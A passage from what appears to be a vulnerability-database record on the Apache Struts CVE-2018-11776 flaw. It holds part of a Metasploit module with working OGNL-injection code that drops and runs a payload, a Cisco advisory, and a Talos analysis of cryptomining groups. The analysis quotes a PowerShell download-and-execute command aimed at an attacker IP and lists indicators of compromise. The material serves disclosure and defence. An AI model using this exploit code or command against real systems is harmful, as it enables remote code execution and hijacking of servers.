datastore['TEMPFILE']\n\n # d = payload data\n # f = path to temp file\n # s = stream/handle to temp file\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|\n ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|\n ognl << %q|(#f.setExecutable(true)).|\n ognl << %q|(#f.deleteOnExit()).|\n ognl << %q|(#s=new java.io.FileOutputStream(#f)).|\n ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|\n ognl << %q|(#s.write(#d)).|\n #TODO: Consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|\n ognl << %q|(#s.close()).|\n ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|\n ognl << %q|(#p.start()).|\n ognl << %q|(#f.delete()).|\n\n success_string = rand_text_alpha(4)\n ognl << %Q|('#{success_string}')|\n\n r = send_struts_request(ognl, payload: payload)\n\n if r && r.headers && r.headers['Location'].split('/')[1] == success_string\n print_good(\"Payload successfully dropped and executed.\")\n elsif r && r.headers['Location']\n vprint_error(\"RESPONSE: \" + r.headers['Location'])\n fail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\")\n elsif r && r.code == 400\n fail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while executing the payload\")\n end\n end\n\n def ognl_create_file()\n filename = datastore['TEMPFILE']\n\n # f = path to temp file\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|\n ognl << %q|(#f.setExecutable(true)).|\n ognl << %q|(#f.deleteOnExit()).|\n ognl << %q|(#f)|\n\n r = send_struts_request(ognl)\n\n begin\n tempfile = r.headers['Location']\n tempfile = tempfile[1..-(2+datastore['ACTION'].length)]\n if tempfile.empty?\n fail_with(Failure::UnexpectedReply,\"Unable to create and locate file on target. Try a cmd/*/generic payload\")\n end\n rescue\n fail_with(Failure::UnexpectedReply,\"Unable to create and locate file. Try a cmd/*/generic payload\")\n end\n\n return tempfile\n end\n\n def send_payload_multishot(payload)\n tempfile = ognl_create_file()\n print_status(\"Temp file created: #{tempfile}\")\n\n payload_cursor = 0\n\n while payload_cursor < payload.length\n payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing\n payload_start = payload_cursor\n payload_end = payload_cursor + payload_size\n payload_end = payload.size if payload_end > payload.size\n\n chunk_bin = payload[payload_start..payload_end]\n chunk_b64 = [chunk_bin].pack(\"m\").delete(\"\\n\")\n print_status(\"Sending payload chunk: #{chunk_b64.length} bytes\")\n ognl_append_file(tempfile, chunk_b64)\n\n payload_cursor = payload_end + 1\n end\n\n ognl_execute(tempfile)\n end\n\n def ognl_append_file(payload_file, payload_chunk)\n data_header = datastore['HEADER'] + 'd'\n file_header = datastore['HEADER'] + 'f'\n headers = {\n \"#{data_header}\": payload_chunk,\n \"#{file_header}\": payload_file,\n }\n\n # d = payload data\n # f = path to temp file\n # s = stream/handle to temp file\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|\n ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|\n ognl << %q|(#s=new java.io.FileOutputStream(#f,1)).|\n ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|\n ognl << %q|(#s.write(#d)).|\n ognl << %q|(#s.close()).|\n\n success_string = rand_text_alpha(4)\n ognl << %Q|('#{success_string}')|\n r = send_struts_request(ognl, headers: headers)\n\n begin\n if r.headers['Location'].include? success_string\n vprint_good(\"OGNL payload chunk sent successfully.\")\n return\n else\n fail_with(Failure::UnexpectedReply, \"OGNL payload upload did not respond\")\n end\n rescue\n fail_with(Failure::UnexpectedReply, \"OGNL payload upload failed\")\n end\n end\n\n def ognl_execute(file)\n file_header = datastore['HEADER'] + 'f'\n headers = {\n \"#{file_header}\": file,\n }\n\n # f = path to temp file\n # p = process handle\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|\n ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|\n ognl << %q|(#p.start()).|\n ognl << %q|(#f.delete()).|\n\n success_string = rand_text_alpha(4)\n ognl << %Q|('#{success_string}')|\n r = send_struts_request(ognl, headers: headers)\n\n begin\n if r.code==302\n print_good(\"OGNL payload executed successfully.\")\n else\n fail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\")\n end\n rescue\n vprint_status(\"TARGET RESPONDED: #{r.to_s}\")\n fail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while attempting to execute the payload\")\n end\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts2_namespace_ognl.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "cisco": [{"lastseen": "2023-12-01T15:52:28", "description": "A vulnerability in Apache Struts could allow an unauthenticated, remote attacker to execute arbitrary code on a targeted system.\n\nThe vulnerability exists because the affected software insufficiently validates user-supplied input, allowing the use of results with no namespace value and the use of url tags with no value or action. In cases where upper actions or configurations also have no namespace or a wildcard namespace, an attacker could exploit this vulnerability by sending a request that submits malicious input to the affected application for processing. If successful, the attacker could execute arbitrary code in the security context of the affected application on the targeted system.\nThe following Snort rules can be used to detect possible exploitation of this vulnerability: Snort SID 29639, 39190, 39191, and 47634\n\nThis advisory is available at the following link:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts [\"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts\"]", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-23T20:00:00", "type": "cisco", "title": "Apache Struts Remote Code Execution Vulnerability Affecting Cisco Products: August 2018", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-17T18:52:00", "id": "CISCO-SA-20180823-APACHE-STRUTS", "href": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "talosblog": [{"lastseen": "2018-12-18T17:32:28", "description": "_Post authored by [David Liebenberg](<https://www.google.com/url?q=https://twitter.com/chinahanddave&sa=D&ust=1545149724666000>) and [Andrew Williams](<https://www.google.com/url?q=https://twitter.com/smugyeti&sa=D&ust=1545149724667000>)._ \n\n\n### Executive Summary\n\nThrough Cisco Talos' investigation of illicit cryptocurrency mining campaigns in the past year, we began to notice that many of these campaigns shared remarkably similar TTPs, which we at first mistakenly interpreted as being attributed to a single actor. However, closer analysis revealed that a spate of illicit mining activity over the past year could be attributed to several actors that have netted them hundreds of thousands of U.S. dollars combined. \n \nThis blog examines these actors' recent campaigns, connects them to other public investigations and examines commonalities among their toolsets and methodologies. \n \nWe will cover the recent activities of these actors: \n\n\n * Rocke \u2014A group that employs Git repositories, HTTP FileServers (HFS), and Amazon Machine Images in their campaigns, as well as a myriad of different payloads, and has targeted a wide variety of servers, including Apache Struts2, Jenkins and JBoss.\n * 8220 Mining Group \u2014Active since 2017, this group leverages Pastebin sites, Git repositories and malicious Docker images. The group targets Drupal, Hadoop YARN and Apache Struts2.\n * Tor2Mine \u2014A group that uses tor2web to deliver proxy communications to a hidden service for command and control (C2).\nThese groups have used similar TTPs, including: \n\n\n * Malicious shell scripts masquerading as JPEG files with the name \"logo*.jpg\" that install cron jobs and download and execute miners.\n * The use of variants of the open-source miner XMRig intended for botnet mining, with versions dependent on the victim's architecture.\n * Scanning for and attempting to exploit recently published vulnerabilities in servers such as Apache Struts2, Oracle WebLogic and Drupal.\n * Malicious scripts and malware hosted on Pastebin sites, Git repositories and domains with .tk TLDs.\n * Tools such as XHide Process Faker, which can hide or change the name of Linux processes and PyInstaller, which can convert Python scripts into executables.\nWe were also able to link these groups to other published research that had not always been linked to the same actor. These additional campaigns demonstrate the breadth of exploitation activity that illicit cryptocurrency mining actors engaged in. \n \nThe recent decline in the value of cryptocurrency is sure to affect the activities of these adversaries. For instance, Rocke began developing destructive malware that posed as ransomware, diversifying their payloads as a potential response to declining cryptocurrency value. This was a trend that the Cyber Threat Alliance had predicted in their 2018 white paper on the [illicit cryptocurrency threat](<https://www.google.com/url?q=https://www.cyberthreatalliance.org/wp-content/uploads/2018/09/CTA-Illicit-CryptoMining-Whitepaper.pdf&sa=D&ust=1545149724689000>). However, activity on Git repositories connected to the actors demonstrates that their interest in illicit cryptocurrency mining has not completely abated. Talos published [separate research today covering this trend.](<https://blog.talosintelligence.com/2018/12/cryptocurrency-future-2018.html>) \n\n\n### Timeline of actors' campaigns\n\n#### [](<https://3.bp.blogspot.com/-jK9gU5Z4g6M/XBkSwhst2WI/AAAAAAAABh0/WgEn6WVJ0Aogu10HmoVBx-2CnIvTrCvTACLcBGAs/s1600/image5.jpg>) \n--- \nTimeline of Activity \n \n#### Introduction\n\nIllicit cryptocurrency mining remained one of the most common threats Cisco Talos observed in 2018. These attacks steal CPU cycles from compromised devices to mine cryptocurrencies and bring in income for the threat actor. Campaigns delivering mining malware can also compromise the victim in other ways, such as in delivering remote access trojans (RATs) and other malware. \n \nThrough our investigation of illicit cryptocurrency mining campaigns in the past year, we began to notice that many shared remarkably similar TTPs, which we at first mistakenly interpreted as being attributed to a single actor. After completing analysis of these attack's wallets and command and control (C2) servers we discovered that a spate of illicit mining activity over the past year could be attributed to several actors. This illustrates the prevalent use of tool sharing or copying in illicit mining. \n \nWe also observed that, by examining these groups' infrastructure and wallets, we were able to connect them to other published research that had not always been related to the same actor, which demonstrated the breadth of exploitation activity that illicit cryptocurrency mining actors engaged in. \n \nWe first started tracking these groups when we began monitoring a prolific actor named Rocke and noticed that several other groups were using similar TTPs. \n \nWe began following the activities of another prolific actor through a project forked on GitHub by Rocke: the 8220 Mining Group. We also noticed a similar toolset being used by an actor we named \"tor2mine,\" based on the fact that they additionally used tor2web services for C2 communications. \n \nWe also discovered some actors that share similarities to the aforementioned groups, but we could not connect them via network infrastructure or cryptocurrency wallets. Through investigating all these groups, we determined that combined, they had made hundreds of thousands of dollars in profits. \n \n\n\n#### \n\n#### Rocke/Iron cybercrime group\n\nCisco Talos wrote about [Rocke](<https://www.google.com/url?q=https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html&sa=D&ust=1545149724706000>) earlier this year, an actor linked to the Iron Cybercrime group that actively engages in distributing and executing cryptocurrency mining malware using a varied toolkit that includes Git repositories, HTTP FileServers (HFS), and a myriad of different payloads, including shell scripts, JavaScript backdoors, as well as ELF and PE miners. Talos first observed this actor when they attacked our honeypot infrastructure. \n \nIn the campaigns we discussed, Rocke targeted vulnerable Apache Struts2 servers in the spring and summer of 2018. Through tracking the actor's wallets and infrastructure, we were able to link them to some additional exploit activity that was reported on by other security firms but in most instances was not attributed to one actor. Through examining these campaigns that were not previously linked, we observed that Rocke has also targeted [Jenkins ](<https://www.google.com/url?q=https://www.f5.com/labs/articles/threat-intelligence/new-jenkins-campaign-hides-malware--kills-competing-crypto-miner&sa=D&ust=1545149724712000>)and [JBoss](<https://www.google.com/url?q=https://www.alibabacloud.com/blog/jbossminer-mining-malware-analysis_593804&sa=D&ust=1545149724712000>) servers, continuing to rely on malicious Git repositories, as well as malicious [Amazon Machine Images](<https://www.google.com/url?q=https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/&sa=D&ust=1545149724714000>). They have also been expanding their payloads to include malware with worm-like characteristics and destructive ransomware [capabilities](<https://www.google.com/url?q=https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/&sa=D&ust=1545149724714000>). Several campaigns used the XHide Process Faker tool. \n \nWe have since discovered additional information that suggests that Rocke has been continuing this exploit activity. Since early September, we have observed Rocke exploiting our Struts2 honeypots to download and execute files from their C2 ssvs[.]space. Beginning in late October, we observed this type of activity in our honeypots involving another Rocke C2 as well: sydwzl[.]cn. \n \nThe dropped malware includes ELF (Executable and Linkable Format) backdoors, bash scripts to download and execute other malware from Rocke C2s, as well as illicit ELF Monero miners and associated config files. \n \nWhile keeping an eye on honeypot activity related to Rocke, we have continued to monitor their GitHub account for new activity. In early October, Rocke forked a repository called [whatMiner](<https://www.google.com/url?q=https://github.com/MRdoulestar/whatMiner&sa=D&ust=1545149724720000>), developed by a Chinese-speaking actor. WhatMiner appears to have been developed by another group called the 8220 Mining Group, which we will discuss below. The readme for the project describes it as \"collecting and integrating all different kinds of illicit mining malware.\" \n\n\n[](<https://1.bp.blogspot.com/-G3Rbkg_o3Mc/XBkTFOJxe5I/AAAAAAAABh8/BWe5f_IQcIkJPH7e45o9Rzvyyb1Zzq1bQCLcBGAs/s1600/image2.png>)\n\n#### \n\n#### Git repository for whatMiner\n\nLooking at some of the bash scripts in the repository, it appears that they scan for and exploit vulnerable Redis and Oracle WebLogic servers to download and install Monero miners. The scripts also rely on a variety of Pastebin pages with Base64-encoded scripts in them that download and execute miners and backdoors on to the victim's machines. These malicious scripts and malware masquerade as JPEG files and are hosted on the Chinese-language file-sharing site thyrsi[.]com. The only difference in Rocke's forked version is that they replaced the Monero wallet in the config file with a new one. \n \nWhile looking through this repository, we found a folder called \"sustes.\" There were three samples in this folder: mr.sh, a bash script that downloads and installs an illicit Monero miner; xm64, an illicit Monero miner; and wt.conf, a config file for the miner. These scripts and malware very closely match the ones we found in our honeypots with the same file names, although the bash script and config file were changed to include Rocke's infrastructure and their Monero wallet. \n \nMany of the samples obtained in our honeypots reached out to the IP 118[.]24[.]150[.]172 over TCP. Rocke's C2, sydwzl[.]cn, also resolves to this IP, as did the domain sbss[.]f3322[.]net, which began experiencing a spike in DNS requests in late October. Two samples with high detection rates submitted to VirusTotal in 2018 made DNS requests for both domains. Both samples also made requests for a file called \"TermsHost.exe\" from an IP 39[.]108[.]177[.]252, as well as a file called \"xmr.txt\" from sydwzl[.]cn. In a previous Rocke campaign, we observed a PE32 Monero miner sample called \"TermsHost.exe\" hosted on their C2 ssvs[.]space and a Monero mining config file called \"xmr.txt\" on the C2 sydwzl[.]cn. \n \nWhen we submitted both samples in our ThreatGrid sandbox, they did not make DNS requests for sydwzl[.]cn, but did make GET requests for hxxp://users[.]qzone[.]qq[.]com:80/fcg-bin/cgi_get_portrait.fcg?uins=979040408. The resulting download is an HTML text file of a 301 error message. When we looked at the profile for the user 979040408@qq.com, we observed that they had numerous posts related to Chinese-language hacking and exploit forums, as well as advertisements for distributed denial-of-service (DDoS) services. \n \nNote that Rocke activity tapered off towards the end of the year. Security researchers at Chinese company Alibaba have taken down Rocke infrastructure that was hosted on Alibaba Cloud. In addition, there has not been activity on Rocke\u2019s github since November, nor have we seen related samples in our honeypots since that time. \n \n\n\n#### 8220 Mining Group\n\nAs we previously described, Rocke originally forked a repository called \"whatMiner.\" We believe this tool is linked to another Chinese-speaking, Monero-mining threat actor \u2014 8220 Mining Group \u2014 due to the repository's config files' default wallet and infrastructure. Their C2s often communicate over port 8220, earning them the 8220 Mining Group moniker. This group uses some similar TTPs to Rocke. \n \nWe first observed the 8220 Mining Group in our Struts2 honeypots in March 2018. Post-exploitation, the actor would issue a cURL request for several different types of malware on their infrastructure over port 8220. The dropped malware included ELF miners, as well as their associated config files with several of 8220 Mining Group's wallets entered in the appropriate fields. This is an example of the type of commands we observed: \n\n\n[](<https://1.bp.blogspot.com/-N8vmBZIyNH0/XBkTMgozjXI/AAAAAAAABiA/WdL1yKlWJVwqXSuzeKgozMuw2lg-xpQnACLcBGAs/s1600/image6.png>)\n\nWe were able to link the infrastructure and wallets observed in the attacks against our honeypots, as well as in the Git repository, with several other campaigns that the 8220 mining group is likely responsible for. \n \nThese campaigns illustrate that beyond exploiting Struts2, 8220 Mining Group has also exploited [Drupal](<https://www.google.com/url?q=https://www.volexity.com/blog/2018/04/16/drupalgeddon-2-profiting-from-mass-exploitation/&sa=D&ust=1545149724754000>) content management system, [Hadoop YARN, Redis, Weblogic and Couch](<https://www.google.com/url?q=https://ti.360.net/blog/articles/8220-mining-gang-in-china/&sa=D&ust=1545149724756000>)[DB](<https://www.google.com/url?q=https://ti.360.net/blog/articles/8220-mining-gang-in-china/&sa=D&ust=1545149724757000>). Besides leveraging malicious bash scripts, Git repositories and image sharing services, as in whatMiner, 8220 Mining Group also carried out a long-lasting campaign using malicious [Docker images](<https://www.google.com/url?q=https://kromtech.com/blog/security-center/cryptojacking-invades-cloud-how-modern-containerization-trend-is-exploited-by-attackers&sa=D&ust=1545149724758000>). 8220 Mining Group was able to [amass](<https://www.google.com/url?q=https://www.fortinet.com/blog/threat-research/yet-another-crypto-mining-botnet.html&sa=D&ust=1545149724759000>) nearly $200,000 worth of Monero through their campaigns. \n \nThere were some similarities to the TTPs used by Rocke and 8220 Mining Group in these campaigns. The actors downloaded a malicious file \"logo*.jpg\" (very similar to Rocke's use of malicious scripts under the file name of \"logo*.jpg payloads), which gets executed through the bash shell to deliver XMRig. The actor also employed malicious scripts hosted on .tk TLDs, Pastebin sites, and Git repositories, which we have also observed Rocke employing. \n \n\n\n#### \n\n#### tor2mine\n\nOver the past few years, Talos has been monitoring accesses for tor2web services, which serve as a bridge between the internet and the Tor network, a system that allows users to enable anonymous communication. These services are useful for malware authors because they eliminate the need for malware to communicate with the Tor network directly, which is suspicious and may be blocked, and allow the C2 server's IP address to be hidden. \n \nRecently, while searching through telemetry data, we observed malicious activity that leveraged a tor2web gateway to proxy communications to a hidden service for a C2: qm7gmtaagejolddt[.]onion[.]to. \n \nIt is unclear how the initial exploitation occurs, but at some point in the exploitation process, a PowerShell script is downloaded and executed to install follow-on malware onto the system: \n \n\n\n> C:\\\\\\Windows\\\\\\System32\\\\\\cmd.exe /c powershell.exe -w 1 -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command iex ((New-Object System.Net.WebClient).DownloadString('hxxp://107[.]181[.]187[.]132/v1/check1.ps1'))\n\n \nWe identified additional malware on this IP, which belongs to Total Server Solutions LLC. They appear to include 64-bit and 32-bit variants of XMRigCC \u2014 a variant of the XMRig miner, Windows executable versions of publically available EternalBlue/EternalRomance exploit scripts,an open-source TCP port scanner, and shellcode that downloads and executes a malicious payload from the C2. Additional scripts leverage JavaScript, VBScript, PowerShell and batch scripts to avoid writing executables to the disk. \n \nWe began to research the malware and infrastructure used in this campaign. We observed [previous research](<https://www.google.com/url?q=https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron&sa=D&ust=1545149724777000>) on a similar campaign. This actor was exploiting CVE-2018-11776, an Apache Struts 2 namespace vulnerability. The actor also relied on an IP hosted on Total Server Solutions LLC (107[.]181[.]160[.]197). They also employed a script, \"/win/checking-test.hta,\" that was almost identical to one we saw hosted on the tor2mine actors C2, \"check.hta:\" \n \n/win/checking-test.hta from [previous campaign](<https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron>) \n\n\n[](<https://1.bp.blogspot.com/-P0BM1YbmglE/XBkTUfYruyI/AAAAAAAABiE/cdM11HTIeMU_BLbLvaIufOkl8AlVgpphACLcBGAs/s1600/image3.png>)\n\ncheck.hta \n\n\n[](<https://4.bp.blogspot.com/-xCD4IEajoAw/XBkTbbLPdpI/AAAAAAAABiM/iFRi_JfkjaYFKKbvu9WMvVdk-9x9_2KowCLcBGAs/s1600/image4.png>)\n\nThis actor dropped XMRigCC as a payload, mining to eu[.]minerpool[.]pw, as well. Both campaigns additionally relied on the XHide Process-faker tool. \n \nSimilarly, in [February 2018](<https://www.google.com/url?q=https://blog.trendmicro.com/trendlabs-security-intelligence/oracle-server-vulnerability-exploited-deliver-double-monero-miner-payloads/&sa=D&ust=1545149724785000>), Trend Micro published a report on an actor exploiting an Oracle WebLogic WLS-WSAT vulnerability to drop 64-bit and 32-bit variants of XMRig. The actors used many similar supporting scripts that we observed during the tor2web campaigns, and also used a C2 hosted on Total Server Solutions LLC (hxxp://107[.]181[.]174[.]248). They also mined to eu[.]minerpool[.]pw. \n \nThis malware was developed in Python and then changed to ELF executables using the PyInstaller tool for distribution. This is the same technique we observed in a Rocke campaign. \n \n\n\n#### \n\n#### Conclusion\n\nThrough tracking the wallets of these groups, we estimate that they hold and have made payments totaling around 1,200 Monero. Based on public reporting, these groups combined had earned hundreds of thousands of dollars worth of cryptocurrency. However, it is difficult to ascertain the exact amount they made since the value of Monero is very volatile and it is difficult to tell the value of the currency when it was sold. We were also unable to track holdings and payments for certain kinds of wallets, such as MinerGate. \n \nThe value of Monero has dramatically declined in the past few months. Talos has observed less activity from these actors in our honeypots since November, although cryptocurrency-focused attacks from other actors continue. \n \nThere remains the possibility that with the value of cryptocurrencies so low, threat actors will begin delivering different kinds of payloads. For example, Rocke has been observed developing new malware with destructive capabilities that pose as ransomware. However, Rocke\u2019s GitHub page shows that, as of early November, they were continuing to fork mining-focused repositories, including a static build of XMRig. \n \nTalos will continue to monitor these groups, as well as cryptocurrency mining-focused attacks in general, to assess what changes, if any, arise from the decline in value of cryptocurrencies. \n \n\n\n#### \n\n#### Coverage\n\nFor coverage related to blocking illicit cryptocurrency mining, please see the Cisco Talos white paper: [Blocking Cryptocurrency Mining Using Cisco Security Products](<https://www.google.com/url?q=https://talosintelligence.com/resources/59&sa=D&ust=1545149724800000>) \n\n\n[](<https://3.bp.blogspot.com/-kLMMs2ca1vw/XBkTiaGFCAI/AAAAAAAABiQ/BnUOME636oc66-Lx9QJ2QKK2lbUlHb7rgCLcBGAs/s1600/image1.png>)\n\n \nAdvanced Malware Protection ([AMP](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/advanced-malware-protection&sa=D&ust=1545149724807000>)) is ideally suited to prevent the execution of the malware used by these threat actors. \n \nCisco Cloud Web Security ([CWS](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html&sa=D&ust=1545149724809000>)) or[ Web Security Appliance (WSA](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html&sa=D&ust=1545149724810000>)) web scanning prevents access to malicious websites and detects malware used in these attacks. \n \nNetwork Security appliances such as[ Next-Generation Firewall (NGFW](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/firewalls/index.html&sa=D&ust=1545149724813000>)),[ Next-Generation Intrusion Prevention System (NGIPS](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html&sa=D&ust=1545149724814000>)), and[ Meraki MX](<https://www.google.com/url?q=https://meraki.cisco.com/products/appliances&sa=D&ust=1545149724816000>) can detect malicious activity associated with this threat. \n \n[AMP Threat Grid](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html&sa=D&ust=1545149724818000>) helps identify malicious binaries and build protection into all Cisco Security products. \n \n[Umbrella](<https://www.google.com/url?q=https://umbrella.cisco.com/&sa=D&ust=1545149724820000>), our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. \n \nOpen Source SNORT\u24c7 Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on [Snort.org](<https://www.google.com/url?q=https://www.snort.org/products&sa=D&ust=1545149724823000>). \n \n\n\n### IOCs\n\n#### \n\n#### Rocke\n\nIPs: \n121[.]126[.]223[.]211 \n142[.]44[.]215[.]177 \n144[.]217[.]61[.]147 \n118[.]24[.]150[.]172 \n185[.]133[.]193[.]163 \n \nDomains: \nxmr.enjoytopic[.]tk \nd.paloaltonetworks[.]tk \nthreatpost[.]tk \n3g2upl4pq6kufc4m[.]tk \nscan.3g2upl4pq6kufc4m[.]tk \ne3sas6tzvehwgpak[.]tk \nsample.sydwzl[.]cn \nblockbitcoin[.]com \nscan.blockbitcoin[.]tk \ndazqc4f140wtl[.]cloudfront[.]net \nd3goboxon32grk2l[.]tk \nenjoytopic[.]tk \nrealtimenews[.]tk \n8282[.]space \n3389[.]space \nsvss[.]space \nenjoytopic[.]esy[.]es \nlienjoy[.]esy[.]es \nd3oxpv9ajpsgxt[.]cloudfront[.]net \nd3lvemwrafj7a7[.]cloudfront[.]net \nd1ebv77j9rbkp6[.]enjoytopic[.]com \nswb[.]one \nd1uga3uzpppiit[.]cloudfront[.]net \nemsisoft[.]enjoytopic[.]tk \nejectrift[.]censys[.]xyz \nscan[.]censys[.]xyz \napi[.]leakingprivacy[.]tk \nnews[.]realnewstime[.]xyz \nscan[.]realnewstime[.]xyz \nnews[.]realtimenews[.]tk \nscanaan[.]tk \nwww[.]qicheqiche[.]com \n \nURLs: \nhxxps://github[.]com/yj12ni \nhxxps://github[.]com/rocke \nhxxps://github[.]com/freebtcminer/ \nhxxps://github[.]com/tightsoft \nhxxps://raw[.]githubusercontent[.]com/ghostevilxp \nhxxp://www[.]qicheqiche[.]com \nhxxp://123[.]206[.]13[.]220:8899 \nhxxps://gitee[.]com/c-888/ \nhxxp://gitlab[.]com/c-18 \nhxxp://www[.]ssvs[.]space/root[.]bin \nhxxp://a[.]ssvs[.]space/db[.]sh \nhxxp://a[.]ssvs[.]space/cf[.]cf \nhxxp://a[.]ssvs[.]space/pluto \nhxxp://ip[.]ssvs[.]space/xm64 \nhxxp://ip[.]ssvs[.]space/wt[.]conf \nhxxp://ip[.]ssvs[.]space/mr[.]sh \nhxxp://a[.]ssvs[.]space/logo[.]jpg \nhxxp://a[.]sydwzl[.]cn/root[.]bin \nhxxp://a[.]sydwzl[.]cn/x86[.]bin \nhxxp://a[.]sydwzl[.]cn/bar[.]sh \nhxxp://a[.]sydwzl[.]cn/crondb \nhxxp://a[.]sydwzl[.]cn/pools[.]txt \nhxxps://pastebin[.]com/raw/5bjpjvLP \nhxxps://pastebin[.]com/raw/Fj2YdETv \nhxxps://pastebin[.]com/raw/eRkrSQfE \nhxxps://pastebin[.]com/raw/Gw7mywhC \nhxxp://thyrsi[.]com/t6/387/1539580368x-1566688371[.]jpg \nhxxp://thyrsi[.]com/t6/387/1539579140x1822611263[.]jpg \nhxxp://thyrsi[.]com/t6/387/1539581805x1822611359[.]jpg \nhxxp://thyrsi[.]com/t6/387/1539592750x-1566688347[.]jpg \nhxxp://thyrsi[.]com/t6/373/1537410750x-1566657908[.]jpg \nhxxp://thyrsi[.]com/t6/373/1537410304x-1404764882[.]jpg \nhxxp://thyrsi[.]com/t6/377/1538099301x-1404792622[.]jpg \nhxxp://thyrsi[.]com/t6/362/1535175343x-1566657675[.]jpg \nhxxp://users[.]qzone[.]qq[.]com:80/fcg-bin/cgi_get_portrait.fcg?uins=979040408 \n \nSHA-256: \n55dbdb84c40d9dc8c5aaf83226ca00a3395292cc8f884bdc523a44c2fd431c7b root.bin \n00e1b4874f87d124b465b311e13565a813d93bd13d73b05e6ad9b7a08085b683 root.bin \ncdaa31af1f68b0e474ae1eafbf3613eafae50b8d645fef1e64743c937eff31b5 db.sh \n959230efa68e0896168478d3540f25adf427c7503d5e7761597f22484fc8a451 cf.cf \nd11fa31a1c19a541b51fcc3ff837cd3eec419403619769b3ca69c4137ba41cf3 pluto/xm64 \nda641f86f81f6333f2730795de93ad2a25ab279a527b8b9e9122b934a730ab08 root.bin \n2914917348b91c26ffd703dcef2872115e53dc0b71e23ce40ea3f88215fb2b90 wt.conf \nb1c585865fdb16f3696626ef831b696745894194be9138ac0eb9f6596547eed9 mr.sh \n7de435da46bf6bcd1843410d05c017b0306197462b0ba1d8c84d6551192de259 root.bin \n904261488b24dfec2a3c8dee34c12e0ae2cf4722bd06d69af3d1458cd79e8945 logo.jpg \nf792db9a05cde2eac63c262735d92f10e2078b6ec299ce519847b1e089069271 root.bin \ndcf2b7bf7f0c8b7718e47b0d7269e0d09bb1bdbf6d3248a53ff0e1c9ea5aa38d x86.bin \n3074b307958f6b31448006cad398b23f12119a7d0e51f24c5203a291f9e5d0ec bar.sh \na598aa724c45b2d8b98ec9bc34b83f21b7ae73d68d030476ebd9d89fc06afe58 cron.db \n74c84e47463fad4128bd4d37c4164fb58e4d7dcd880992fad16f79f20995e07e pools.txt \n \nSamples making DNS requests for sydwzl[.]cn and sbss[.]f3322[.]net: \n17c8a1d0e981386730a7536a68f54a7388ed185f5c63aa567d212dc672cf09e0 